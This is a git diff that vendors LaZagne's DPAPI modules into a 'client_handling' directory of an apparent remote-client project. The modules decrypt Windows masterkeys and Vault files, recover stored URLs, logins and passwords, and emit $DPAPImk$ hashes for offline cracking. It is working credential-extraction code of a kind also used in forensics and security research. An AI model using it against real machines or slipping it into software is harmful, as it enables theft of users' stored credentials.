self.decrypted = hmac == hmacComputed + if self.decrypted: + self.key_hash = hashlib.sha1(self.key).digest() + + +class CredHist(DataStruct): + """This class represents a Credhist block contained in the MasterKeyFile""" + + def __init__(self, raw=None): + self.version = None + self.guid = None + DataStruct.__init__(self, raw) + + def parse(self, data): + self.version = data.eat("L") + self.guid = "%0x-%0x-%0x-%0x%0x-%0x%0x%0x%0x%0x%0x" % data.eat("L2H8B") + + +class DomainKey(DataStruct): + """This class represents a DomainKey block contained in the MasterKeyFile. + + Currently does nothing more than parsing. Work on Active Directory stuff is + still on progress. + + """ + + def __init__(self, raw=None): + self.version = None + self.secretLen = None + self.accesscheckLen = None + self.guidKey = None + self.encryptedSecret = None + self.accessCheck = None + DataStruct.__init__(self, raw) + + def parse(self, data): + self.version = data.eat("L") + self.secretLen = data.eat("L") + self.accesscheckLen = data.eat("L") + self.guidKey = "%0x-%0x-%0x-%0x%0x-%0x%0x%0x%0x%0x%0x" % data.eat("L2H8B") # data.eat("16s") + self.encryptedSecret = data.eat("%us" % self.secretLen) + self.accessCheck = data.eat("%us" % self.accesscheckLen) + + +class MasterKeyFile(DataStruct): + """ + This class represents a masterkey file. + """ + + def __init__(self, raw=None): + self.masterkey = None + self.backupkey = None + self.credhist = None + self.domainkey = None + self.decrypted = False + self.version = None + self.guid = None + self.policy = None + self.masterkeyLen = self.backupkeyLen = self.credhistLen = self.domainkeyLen = 0 + DataStruct.__init__(self, raw) + + def parse(self, data): + self.version = data.eat("L") + data.eat("2L") + self.guid = data.eat("72s").decode("UTF-16LE").encode("utf-8") + data.eat("2L") + self.policy = data.eat("L") + self.masterkeyLen = data.eat("Q") + self.backupkeyLen = data.eat("Q") + self.credhistLen = data.eat("Q") + self.domainkeyLen = data.eat("Q") + + if self.masterkeyLen > 0: + self.masterkey = MasterKey() + self.masterkey.parse(data.eat_sub(self.masterkeyLen)) + if self.backupkeyLen > 0: + self.backupkey = MasterKey() + self.backupkey.parse(data.eat_sub(self.backupkeyLen)) + if self.credhistLen > 0: + self.credhist = CredHist() + self.credhist.parse(data.eat_sub(self.credhistLen)) + if self.domainkeyLen > 0: + self.domainkey = DomainKey() + self.domainkey.parse(data.eat_sub(self.domainkeyLen)) + + def get_key(self): + """ + Returns the first decrypted block between Masterkey and BackupKey. + If none has been decrypted, returns the Masterkey block. + """ + if self.masterkey.decrypted: + return self.masterkey.key or self.masterkey.key_hash + elif self.backupkey.decrypted: + return self.backupkey.key + return self.masterkey.key + + def jhash(self, sid=None, context='local'): + """ + Compute the hash used to be bruteforced. + From the masterkey field of the mk file => mk variable. + """ + if 'des3' in str(self.masterkey.cipherAlgo).lower() and 'hmac' in str(self.masterkey.hashAlgo).lower(): + version = 1 + hmac_algo = 'sha1' + cipher_algo = 'des3' + + elif 'aes-256' in str(self.masterkey.cipherAlgo).lower() and 'sha512' in str(self.masterkey.hashAlgo).lower(): + version = 2 + hmac_algo = 'sha512' + cipher_algo = 'aes256' + + else: + return 'Unsupported combination of cipher {cipher_algo} and hash algorithm {algo} found!'.format( + cipher_algo=self.masterkey.cipherAlgo, algo=self.masterkey.hashAlgo) + + context_int = 0 + if context == "domain": + context_int = 2 + elif context == "local": + context_int = 1 + + return '$DPAPImk${version}*{context}*{sid}*{cipher_algo}*{hmac_algo}*{rounds}*{iv}*{size}*{ciphertext}'.format( + version=version, + context=context_int, + sid=sid, + cipher_algo=cipher_algo, + hmac_algo=hmac_algo, + rounds=self.masterkey.rounds, + iv=self.masterkey.iv.encode("hex"), + size=len(self.masterkey.ciphertext.encode("hex")), + ciphertext=self.masterkey.ciphertext.encode("hex") + ) + + +class MasterKeyPool(object): + """ + This class is the pivot for using DPAPIck. + It manages all the DPAPI structures and contains all the decryption intelligence. + """ + + def __init__(self): + self.keys = defaultdict( + lambda: { + 'password': None, # contains cleartext password + 'mkf': [], # contains the masterkey file object + } + ) + self.mkfiles = [] + self.credhists = {} + self.mk_dir = None + self.nb_mkf = 0 + self.nb_mkf_decrypted = 0 + self.preferred_guid = None + self.system = None + + def add_master_key(self, mkey): + """ + Add a MasterKeyFile is the pool. + mkey is a string representing the content of the file to add. + """ + mkf = MasterKeyFile(mkey) + self.keys[mkf.guid]['mkf'].append(mkf) + + # Store mkfile object + self.mkfiles.append(mkf) # TO DO000000 => use only self.keys variable + + def load_directory(self, directory): + """ + Adds every masterkey contained in the given directory to the pool. + """ + if os.path.exists(directory): + self.mk_dir = directory + for k in os.listdir(directory): + try: + with open(os.path.join(directory, k), 'rb') as f: + self.add_master_key(f.read()) + self.nb_mkf += 1 + except Exception: + pass + return True + return False + + def get_master_keys(self, guid): + """ + Returns an array of Masterkeys corresponding to the given GUID. + """ + return self.keys.get(guid, {}).get('mkf') + + def get_password(self, guid): + """ + Returns the password found corresponding to the given GUID. + """ + return self.keys.get(guid, {}).get('password') + + def add_credhist_file(self, sid, credfile): + """ + Adds a Credhist file to the pool. + """ + if os.path.exists(credfile): + try: + with open(credfile) as f: + self.credhists[sid] = CredHistFile(f.read()) + except Exception: + pass + + def get_preferred_guid(self): + """ + Extract from the Preferred file the associated GUID. + This guid represent the preferred masterkey used by the system. + This means that it has been encrypted using the current password not an older one. + """ + if self.preferred_guid: + return self.preferred_guid + + if self.mk_dir: + preferred_file = os.path.join(self.mk_dir, u'Preferred') + if os.path.exists(preferred_file): + with open(preferred_file, 'rb') as pfile: + GUID1 = pfile.read(8) + GUID2 = pfile.read(8) + + GUID = struct.unpack("HLH", GUID2) + self.preferred_guid = "%s-%s-%s-%s-%s%s" % ( + format(GUID[0], '08x'), format(GUID[1], '04x'), format(GUID[2], '04x'), format(GUID2[0], '04x'), + format(GUID2[1], '08x'), format(GUID2[2], '04x')) + return self.preferred_guid + + return False + + def get_cleartext_password(self, guid=None): + """ + Get cleartext password if already found of the associated guid. + If not guid specify, return the associated password of the preferred guid. + """ + if not guid: + guid = self.get_preferred_guid() + + if guid: + return self.get_password(guid) + + def get_dpapi_hash(self, sid, context='local'): + """ + Extract the DPAPI hash corresponding to the user's password to be able to bruteforce it using john or hashcat. + No admin privilege are required to extract it. + :param context: expect local or domain depending of the windows environment. + """ + + self.get_preferred_guid() + + for mkf in self.mkfiles: + if self.preferred_guid == mkf.guid: + return mkf.jhash(sid=sid, context=context) + + def add_system_credential(self, blob): + """ + Adds DPAPI_SYSTEM token to the pool. + blob is a string representing the LSA secret token + """ + self.system = CredSystem(blob) + + def try_credential(self, sid, password=None): + """ + This function tries to decrypt every masterkey contained in the pool that has not been successfully decrypted yet with the given password and SID. + Should be called as a generator (ex: for r in try_credential(sid, password)) + """ + + # All master key files have not been already decrypted + if self.nb_mkf_decrypted != self.nb_mkf: + for guid in self.keys: + for mkf in self.keys[guid].get('mkf', ''): + if not mkf.decrypted: + mk = mkf.masterkey + if mk: + mk.decrypt_with_password(sid, password) + if not mk.decrypted and self.credhists.get(sid) is not None: + # Try using credhist file + self.credhists[sid].decrypt_with_password(password) + for credhist in self.credhists[sid].entries_list: + mk.decrypt_with_hash(sid, credhist.pwdhash) + if credhist.ntlm is not None and not mk.decrypted: + mk.decrypt_with_hash(sid, credhist.ntlm) + + if mk.decrypted: + yield u'masterkey {masterkey} decrypted using credhists key'.format( + masterkey=mk.guid.decode()) + self.credhists[sid].valid = True + + if mk.decrypted: + # Save the password found + self.keys[mkf.guid]['password'] = password + mkf.decrypted = True + self.nb_mkf_decrypted += 1 + + yield True, u'{password} ok for masterkey {masterkey}'.format(password=password, + masterkey=mkf.guid.decode()) + + else: + yield False, u'{password} not ok for masterkey {masterkey}'.format(password=password, + masterkey=mkf.guid.decode()) + + def try_credential_hash(self, sid, pwdhash=None): + """ + This function tries to decrypt every masterkey contained in the pool that has not been successfully decrypted yet with the given password and SID. + Should be called as a generator (ex: for r in try_credential_hash(sid, pwdhash)) + """ + + # All master key files have not been already decrypted + if self.nb_mkf_decrypted != self.nb_mkf: + for guid in self.keys: + for mkf in self.keys[guid].get('mkf', ''): + if not mkf.decrypted: + mk = mkf.masterkey + mk.decrypt_with_hash(sid, pwdhash) + if not mk.decrypted and self.credhists.get(sid) is not None: + # Try using credhist file + self.credhists[sid].decrypt_with_hash(pwdhash) + for credhist in self.credhists[sid].entries_list: + mk.decrypt_with_hash(sid, credhist.pwdhash) + if credhist.ntlm is not None and not mk.decrypted: + mk.decrypt_with_hash(sid, credhist.ntlm) + + if mk.decrypted: + yield True, u'masterkey {masterkey} decrypted using credhists key'.format( + masterkey=mk.guid) + self.credhists[sid].valid = True + break + + if mk.decrypted: + mkf.decrypted = True + self.nb_mkf_decrypted += 1 + yield True, u'{hash} ok for masterkey {masterkey}'.format(hash=codecs.encode(pwdhash, 'hex').decode(), + masterkey=mkf.guid.decode()) + else: + yield False, u'{hash} not ok for masterkey {masterkey}'.format( + hash=codecs.encode(pwdhash, 'hex').decode(), masterkey=mkf.guid.decode()) + + def try_system_credential(self): + """ + Decrypt masterkey files from the system user using DPAPI_SYSTEM creds as key + Should be called as a generator (ex: for r in try_system_credential()) + """ + for guid in self.keys: + for mkf in self.keys[guid].get('mkf', ''): + if not mkf.decrypted: + mk = mkf.masterkey + mk.decrypt_with_key(self.system.user) + if not mk.decrypted: + mk.decrypt_with_key(self.system.machine) + + if mk.decrypted: + mkf.decrypted = True + self.nb_mkf_decrypted += 1 + + yield True, u'System masterkey decrypted for {masterkey}'.format(masterkey=mkf.guid.decode()) + else: + yield False, u'System masterkey not decrypted for masterkey {masterkey}'.format( + masterkey=mkf.guid.decode()) diff --git a/foreign/client_handling/lazagne/config/DPAPI/system.py b/foreign/client_handling/lazagne/config/DPAPI/system.py new file mode 100644 index 0000000..aaf53f8 --- /dev/null +++ b/foreign/client_handling/lazagne/config/DPAPI/system.py @@ -0,0 +1,38 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*- + +""" +Code based from these two awesome projects: +- DPAPICK : https://bitbucket.org/jmichel/dpapick +- DPAPILAB : https://github.com/dfirfpi/dpapilab +""" + +from .eater import DataStruct + + +class CredSystem(DataStruct): + """ + This represents the DPAPI_SYSTEM token which is stored as an LSA secret. + + Sets 2 properties: + self.machine + self.user + """ + + def __init__(self, raw=None): + self.revision = None + self.machine = None + self.user = None + DataStruct.__init__(self, raw) + + def parse(self, data): + """Parses the given data. May raise exceptions if incorrect data are + given. You should not call this function yourself; DataStruct does + + data is a DataStruct object. + Returns nothing. + + """ + self.revision = data.eat("L") + self.machine = data.eat("20s") + self.user = data.eat("20s") diff --git a/foreign/client_handling/lazagne/config/DPAPI/vault.py b/foreign/client_handling/lazagne/config/DPAPI/vault.py new file mode 100644 index 0000000..d758443 --- /dev/null +++ b/foreign/client_handling/lazagne/config/DPAPI/vault.py @@ -0,0 +1,489 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*- + +""" +Code based from these two awesome projects: +- DPAPICK : https://bitbucket.org/jmichel/dpapick +- DPAPILAB : https://github.com/dfirfpi/dpapilab +""" + +import struct + +from .blob import DPAPIBlob +from .eater import DataStruct, Eater +from foreign.client_handling.lazagne.config.crypto.pyaes.aes import AESModeOfOperationCBC +from foreign.client_handling.lazagne.config.winstructure import char_to_int + +import os + +AES_BLOCK_SIZE = 16 + +# =============================================================================== +# VAULT POLICY file structs +# =============================================================================== + + +class VaultPolicyKey(DataStruct): + """ + Structure containing the AES key used to decrypt the vcrd files + """ + def __init__(self, raw=None): + # self.size = None + self.unknown1 = None + self.unknown2 = None + self.dwMagic = None + self.dwVersion = None + self.cbKeyData = None + self.key = None + DataStruct.__init__(self, raw) + + def parse(self, data): + # self.size = data.eat("L") + self.unknown1 = data.eat("L") + self.unknown2 = data.eat("L") + self.dwMagic = data.eat("L") # Constant: 0x4d42444b + self.dwVersion = data.eat("L") + self.cbKeyData = data.eat("L") + if self.cbKeyData > 0: + # self.key = data.eat_sub(self.cbKeyData) + self.key = data.eat(str(self.cbKeyData) + "s") + + + +class VaultPolicyKeys(DataStruct): + """ + Structure containing two AES keys used to decrypt the vcrd files + - First key is an AES 128 + - Second key is an AES 256 + """ + def __init__(self, raw=None): + self.vpol_key1_size = None + self.vpol_key1 = None + self.vpol_key2_size = None + self.vpol_key2 = None + DataStruct.__init__(self, raw) + + def parse(self, data): + self.vpol_key1_size = data.eat("L") + if self.vpol_key1_size > 0: + self.vpol_key1 = VaultPolicyKey() + self.vpol_key1.parse(data.eat_sub(self.vpol_key1_size)) + + self.vpol_key2_size = data.eat("L") + if self.vpol_key2_size > 0: + self.vpol_key2 = VaultPolicyKey() + self.vpol_key2.parse(data.eat_sub(self.vpol_key2_size)) + + +class VaultPolicy(DataStruct): + """ + Policy.vpol file is a DPAPI blob with an header containing a textual description + and a GUID that should match the Vault folder name + Once the blob is decrypted, we get two AES keys to be used in decrypting the vcrd files. + """ + def __init__(self, raw=None): + self.version = None + self.guid = None + self.description = None + self.unknown1 = None + self.unknown2 = None + self.unknown3 = None + # VPOL_STORE + self.size = None + self.unknown4 = None + self.unknown5 = None + # DPAPI_BLOB_STORE + self.blob_store_size = None + self.blob_store_raw = None + DataStruct.__init__(self, raw) + + def parse(self, data): + self.version = data.eat("L") + self.guid = "%0x-%0x-%0x-%0x%0x-%0x%0x%0x%0x%0x%0x" % data.eat("L2H8B") # data.eat("16s") + self.description = data.eat_length_and_string("L").decode("UTF-16LE").encode("utf-8") # Unicode + self.unknown1 = data.eat("L") + self.unknown2 = data.eat("L") + self.unknown3 = data.eat("L") + # VPOL_STORE + self.size = data.eat("L") + self.unknown4 = "%0x-%0x-%0x-%0x%0x-%0x%0x%0x%0x%0x%0x" % data.eat("L2H8B") # data.eat("16s") + self.unknown5 = "%0x-%0x-%0x-%0x%0x-%0x%0x%0x%0x%0x%0x" % data.eat("L2H8B") # data.eat("16s") + # DPAPI_BLOB_STORE + self.blob_store_size = data.eat("L") + if self.blob_store_size > 0: + self.blob_store_raw = DPAPIBlob() + self.blob_store_raw.parse(data.eat_sub(self.blob_store_size)) + +# =============================================================================== +# VAULT file structs +# =============================================================================== + + +class VaultAttribute(DataStruct): + """ + This class contains the encrypted data we are looking for (data + iv) + """ + def __init__(self, raw=None): + self.id = None + self.attr_unknown_1 = None + self.attr_unknown_2 = None + self.attr_unknown_3 = None + self.padding = None + self.attr_unknown_4 = None + self.size = None + # VAULT_ATTRIBUTE_ENCRYPTED + self.has_iv = None + self.iv_size = None + self.iv = None + self.data = None + self.stream_end = None + DataStruct.__init__(self, raw) + + def parse(self, data): + self.id = data.eat("L") + self.attr_unknown_1 = data.eat("L") + self.attr_unknown_2 = data.eat("L") + self.attr_unknown_3 = data.eat("L") + # self.padding = data.eat("6s") + if self.id >= 100: + self.attr_unknown_4 = data.eat("L") + self.size = data.eat("L") + if self.size > 0: + self.has_iv = char_to_int(data.eat("1s")) # To change for Python 3 compatibility + if self.has_iv == 1: + self.iv_size = data.eat("L") + self.iv = data.eat(str(self.iv_size)+ "s") + self.data = data.eat(str(self.size - 1 - 4 - self.iv_size) + "s") + else: + self.data = data.eat(str(self.size - 1) + "s") + + +class VaultAttributeMapEntry(DataStruct): + """ + This class contains a pointer on VaultAttribute structure + """ + def __init__(self, raw=None): + self.id = None + self.offset = None + self.attr_map_entry_unknown_1 = None + self.pointer = None + self.extra_entry = None + DataStruct.__init__(self, raw) + + def parse(self, data): + self.id = data.eat("L") + self.offset = data.eat("L") + self.attr_map_entry_unknown_1 = data.eat("L") + + +class VaultVcrd(DataStruct): + """ + vcrd files contain encrypted attributes encrypted with the previous AES keys which represents the target secret + """ + def __init__(self, raw=None): + self.schema_guid = None + self.vcrd_unknown_1 = None + self.last_update = None + self.vcrd_unknown_2 = None + self.vcrd_unknown_3 = None + self.description = None + self.attributes_array_size = None + self.attributes_num = None + self.attributes = [] + DataStruct.__init__(self, raw) + + def parse(self, data): + self.schema_guid = "%0x-%0x-%0x-%0x%0x-%0x%0x%0x%0x%0x%0x" % data.eat("L2H8B") # data.eat("16s") + self.vcrd_unknown_1 = data.eat("L") + self.last_update = data.eat("Q") + self.vcrd_unknown_2 = data.eat("L") + self.vcrd_unknown_3 = data.eat("L") + self.description = data.eat_length_and_string("L").decode("UTF-16LE").encode("utf-8") # Unicode + self.attributes_array_size = data.eat("L") + # 12 is the size of the VAULT_ATTRIBUTE_MAP_ENTRY + self.attributes_num = self.attributes_array_size / 12 + for i in range(self.attributes_num): + # 12: size of VaultAttributeMapEntry Structure + v_map_entry = VaultAttributeMapEntry(data.eat("12s")) + self.attributes.append(v_map_entry) + +# =============================================================================== +# VAULT schemas +# =============================================================================== + + +class VaultVsch(DataStruct): + """ + Vault Schemas + Vault file partial parsing + """ + def __init__(self, raw=None): + self.version = None + self.schema_guid = None + self.vault_vsch_unknown_1 = None + self.count = None + self.schema_name = None + DataStruct.__init__(self, raw) + + def parse(self, data): + self.version = data.eat("L") + self.schema_guid = "%0x-%0x-%0x-%0x%0x-%0x%0x%0x%0x%0x%0x" % data.eat("L2H8B") + self.vault_vsch_unknown_1 = data.eat("L") + self.count = data.eat("L") + self.schema_name = data.eat_length_and_string("L").decode("UTF-16LE").encode("utf-8").rstrip('\x00\x00') + + +class VaultAttributeItem(object): + def __init__(self, id_, item): + self.id = id_ + self.item = item.encode('hex') + + +class VaultSchemaGeneric(DataStruct): + """ + Generic Vault Schema + """ + def __init__(self, raw=None): + self.version = None + self.count = None + self.vault_schema_generic_unknown1 = None + self.attribute_item = [] + DataStruct.__init__(self, raw) + + def parse(self, data): + self.version = data.eat("L") + self.count = data.eat("L") + self.vault_schema_generic_unknown1 = data.eat("L") + for i in range(self.count): + self.attribute_item.append( + VaultAttributeItem( + id_=data.eat("L"), + item=data.eat_length_and_string("L").decode("UTF-16LE").encode("utf-8") + ) + ) + +# Vault Simple Schema + +# VAULT_SCHEMA_SIMPLE = VaultSchemaSimpleAdapter( +# Struct( +# 'data' / GreedyRange(Byte), +# ) +# ) + + +class VaultSchemaPin(DataStruct): + """ + PIN Logon Vault Resource Schema + """ + def __init__(self, raw=None): + self.version = None + self.count = None + self.vault_schema_pin_unknown1 = None + self.id_sid = None + self.sid_len = None + self.sid = None + self.id_resource = None + self.resource = None + self.id_password = None + self.password = None + self.id_pin = None + self.pin = None + DataStruct.__init__(self, raw) + + def parse(self, data): + self.version = data.eat("L") + self.count = data.eat("L") + self.vault_schema_pin_unknown1 = data.eat("L") + self.id_sid = data.eat("L") + self.sid_len = data.eat("L") + if self.sid_len > 0: + self.sid = data.eat_sub(self.sid_len) + self.id_resource = data.eat("L") + self.resource = data.eat_length_and_string("L").decode("UTF-16LE").encode("utf-8").rstrip('\x00\x00') + self.id_password = data.eat("L") + self.authenticator = data.eat_length_and_string("L").decode("UTF-16LE").encode("utf-8").rstrip('\x00\x00') # Password + self.id_pin = data.eat("L") + self.pin = data.eat_length_and_string("L") + + +class VaultSchemaWebPassword(DataStruct): + """ + Windows Web Password Credential Schema + """ + def __init__(self, raw=None): + self.version = None + self.count = None + self.vault_schema_web_password_unknown1 = None + self.id_identity = None + self.identity = None + self.id_resource = None + self.resource = None + self.id_authenticator = None + self.authenticator = None + DataStruct.__init__(self, raw) + + def parse(self, data): + self.version = data.eat("L") + self.count = data.eat("L") + self.vault_schema_web_password_unknown1 = data.eat("L") + self.id_identity = data.eat("L") + self.identity = data.eat_length_and_string("L").decode("UTF-16LE").encode("utf-8").rstrip('\x00\x00') + self.id_resource = data.eat("L") + self.resource = data.eat_length_and_string("L").decode("UTF-16LE").encode("utf-8").rstrip('\x00\x00') + self.id_authenticator = data.eat("L") + self.authenticator = data.eat_length_and_string("L").decode("UTF-16LE").encode("utf-8").rstrip('\x00\x00') + + +class VaultSchemaActiveSync(DataStruct): + """ + Active Sync Credential Schema + """ + def __init__(self, raw=None): + self.version = None + self.count = None + self.vault_schema_activesync_unknown1 = None + self.id_identity = None + self.identity = None + self.id_resource = None + self.resource = None + self.id_authenticator = None + self.authenticator = None + DataStruct.__init__(self, raw) + + def parse(self, data): + self.version = data.eat("L") + self.count = data.eat("L") + self.vault_schema_activesync_unknown1 = data.eat("L") + self.id_identity = data.eat("L") + self.identity = data.eat_length_and_string("L").decode("UTF-16LE").encode("utf-8").rstrip('\x00\x00') + self.id_resource = data.eat("L") + self.resource = data.eat_length_and_string("L").decode("UTF-16LE").encode("utf-8").rstrip('\x00\x00') + self.id_authenticator = data.eat("L") + self.authenticator = data.eat_length_and_string("L").decode("UTF-16LE").encode("utf-8").rstrip('\x00').encode('hex') + + +# Vault Schema Dict +vault_schemas = { + u'ActiveSyncCredentialSchema' : VaultSchemaActiveSync, + u'PIN Logon Vault Resource Schema' : VaultSchemaPin, + u'Windows Web Password Credential' : VaultSchemaWebPassword, +} + + +# =============================================================================== +# VAULT Main Function +# =============================================================================== + + +class Vault(object): + """ + Contains all process to decrypt Vault files + """ + def __init__(self, vaults_dir): + self.vaults_dir = vaults_dir + + def decrypt_vault_attribute(self, vault_attr, key_aes128, key_aes256): + """ + Helper to decrypt VAULT attributes. + """ + if not vault_attr.size: + return '', False + + if vault_attr.has_iv: + cipher = AESModeOfOperationCBC(key_aes256, iv=vault_attr.iv) + is_attribute_ex = True + else: + cipher = AESModeOfOperationCBC(key_aes128) + is_attribute_ex = False + + data = vault_attr.data + decypted = b"".join([cipher.decrypt(data[i:i + AES_BLOCK_SIZE]) for i in range(0, len(data), AES_BLOCK_SIZE)]) + return decypted, is_attribute_ex + + def get_vault_schema(self, guid, base_dir, default_schema): + """ + Helper to get the Vault schema to apply on decoded data. + """ + vault_schema = default_schema + schema_file_path = os.path.join(base_dir, guid + '.vsch') + try: + with open(schema_file_path, 'rb') as fschema: + vsch = VaultVsch(fschema.read()) + vault_schema = vault_schemas.get( + vsch.schema_name, + VaultSchemaGeneric + ) + except IOError: + pass + return vault_schema + + def decrypt(self, mkp): + """ + Decrypt one vault file + mkp represent the masterkeypool object + Very well explained here: http://blog.digital-forensics.it/2016/01/windows-revaulting.html + """ + vpol_filename = os.path.join(self.vaults_dir, 'Policy.vpol') + if not os.path.exists(vpol_filename): + return False, u'Policy file not found: {file}'.format(file=vpol_filename) + + with open(vpol_filename, 'rb') as fin: + vpol = VaultPolicy(fin.read()) + + ok, vpol_decrypted = vpol.blob_store_raw.decrypt_encrypted_blob(mkp) + if not ok: + return False, u'Unable to decrypt blob. {message}'.format(message=vpol_decrypted) + + vpol_keys = VaultPolicyKeys(vpol_decrypted) + key_aes128 = vpol_keys.vpol_key1.key + key_aes256 = vpol_keys.vpol_key2.key + + for file in os.listdir(self.vaults_dir): + if file.lower().endswith('.vcrd'): + filepath = os.path.join(self.vaults_dir, file) + attributes_data = {} + + with open(filepath, 'rb') as fin: + vcrd = VaultVcrd(fin.read()) + + current_vault_schema = self.get_vault_schema( + guid=vcrd.schema_guid.upper(), + base_dir=self.vaults_dir, + default_schema=VaultSchemaGeneric + ) + for attribute in vcrd.attributes: + fin.seek(attribute.offset) + + v_attribute = VaultAttribute(fin.read()) + # print '-id: ', v_attribute.id + # print '-size: ', v_attribute.size + # print '-data: ', repr(v_attribute.data) + # print '-has_iv: ', v_attribute.has_iv + # print '-iv: ', repr(v_attribute.iv) + + decrypted, is_attribute_ex = self.decrypt_vault_attribute(v_attribute, key_aes128, key_aes256) + if is_attribute_ex: + schema = current_vault_schema + else: + # schema = VAULT_SCHEMA_SIMPLE + continue + + attributes_data[attribute.id] = { + 'data': decrypted, + 'schema': schema + } + + # Parse value found + for k, v in sorted(attributes_data.iteritems()): + # Parse decrypted data depending on its schema + dataout = v['schema'](v['data']) + + if dataout: + return True, { + 'URL': dataout.resource, + 'Login': dataout.identity, + 'Password': dataout.authenticator, + 'File': filepath, + } + + return False, 'No .vcrd file found. Nothing to decrypt.' \ No newline at end of file -- cgit v1.2.3